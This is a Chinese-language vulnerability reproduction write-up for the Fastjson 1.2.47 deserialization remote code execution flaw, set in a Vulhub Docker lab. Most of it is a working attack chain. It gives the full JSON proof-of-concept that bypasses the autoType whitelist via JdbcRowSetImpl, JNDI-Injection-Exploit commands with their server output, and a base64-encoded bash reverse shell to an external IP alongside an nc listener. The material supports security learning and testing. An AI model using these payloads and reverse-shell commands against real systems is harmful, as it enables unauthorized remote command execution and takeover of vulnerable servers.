感謝互聯(lián)網(wǎng)提供分享知識與智慧，在法治的社會里，請遵守有關(guān)法律法規(guī)

1.1、漏洞描述

Fastjson是阿里巴巴公司開源的一款json解析器，其性能優(yōu)越，被廣泛應用于各大廠商的Java項目中。fastjson于1.2.24版本后增加了反序列化白名單，而在1.2.48以前的版本中，攻擊者可以利用特殊構(gòu)造的json字符串繞過白名單檢測，成功執(zhí)行任意命令

1.2、漏洞等級

高危

1.3、影響版本

1.2.47

1.4、漏洞復現(xiàn)

1、基礎(chǔ)環(huán)境

Path：Vulhub/fastjson/1.2.47-rce

啟動測試環(huán)境：

sudo docker-compose up -d

訪問http://your-ip:8090/即可看到一個json對象被返回

將content-type修改為application/json后可向其POST新的JSON對象，后端會利用fastjson進行解析

發(fā)送測試數(shù)據(jù)：

{"name":"hello", "age":20}

2、漏洞檢測

使用BurpSuite擴展插件FastjsonScan進行漏洞檢測

POC：

{
    "axin":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "is":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://s0tgwxk05ll1qvmz0lwr27u0prvhj6.oastify.com/aaa",
        "autoCommit":true
    }
}

使用dnslog測試

3、漏洞驗證

利用JNDI-Injection-Exploit工具開啟RMI服務器

在/tmp目錄下創(chuàng)建hello文件

┌──(kali?kali)-[~/tools/JNDI-Injection-Exploit/target]
└─$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/demo" -A "192.168.80.141"
[ADDRESS] >> 192.168.80.141
[COMMAND] >> touch /tmp/demo
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.80.141:1099/fuk3fq
ldap://192.168.80.141:1389/fuk3fq
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.80.141:1099/slgipa
ldap://192.168.80.141:1389/slgipa
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.80.141:1099/zsjp7n

----------------------------Server Log----------------------------
2023-09-08 03:53:56 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2023-09-08 03:53:56 [RMISERVER]  >> Listening on 0.0.0.0:1099
2023-09-08 03:53:57 [LDAPSERVER] >> Listening on 0.0.0.0:1389

發(fā)送POC到FastJson服務器，通過RMI協(xié)議遠程加載惡意類

{
    "axin":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "is":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.80.141:1099/slgipa",
        "autoCommit":true
    }
}

進入docker容器內(nèi)驗證：

1.5、深度利用

1、反彈Shell

構(gòu)造反彈shell，進行base64編碼

bash -i >& /dev/tcp/192.168.80.141/1234 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgwLjE0MS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

監(jiān)聽1234端口

nc -lvp 1234

開啟RMI服務

┌──(kali?kali)-[~/tools/JNDI-Injection-Exploit/target]
└─$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgwLjE0MS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.80.141"
[ADDRESS] >> 192.168.80.141
[COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgwLjE0MS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.80.141:1099/fd5cfs
ldap://192.168.80.141:1389/fd5cfs
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.80.141:1099/flbdik
ldap://192.168.80.141:1389/flbdik
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.80.141:1099/m8yxp6

----------------------------Server Log----------------------------
2023-09-08 04:02:36 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2023-09-08 04:02:36 [RMISERVER]  >> Listening on 0.0.0.0:1099
2023-09-08 04:02:36 [LDAPSERVER] >> Listening on 0.0.0.0:1389

POC:

{
    "axin":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "is":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.80.141:1389/fd5cfs",
        "autoCommit":true
    }
}

獲得Shell

文章來源地址http://www.zghlxwxcb.cn/news/detail-743792.html

到了這里，關(guān)于【漏洞復現(xiàn)】Fastjson_1.2.47_rce的文章就介紹完了。如果您還想了解更多內(nèi)容，請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！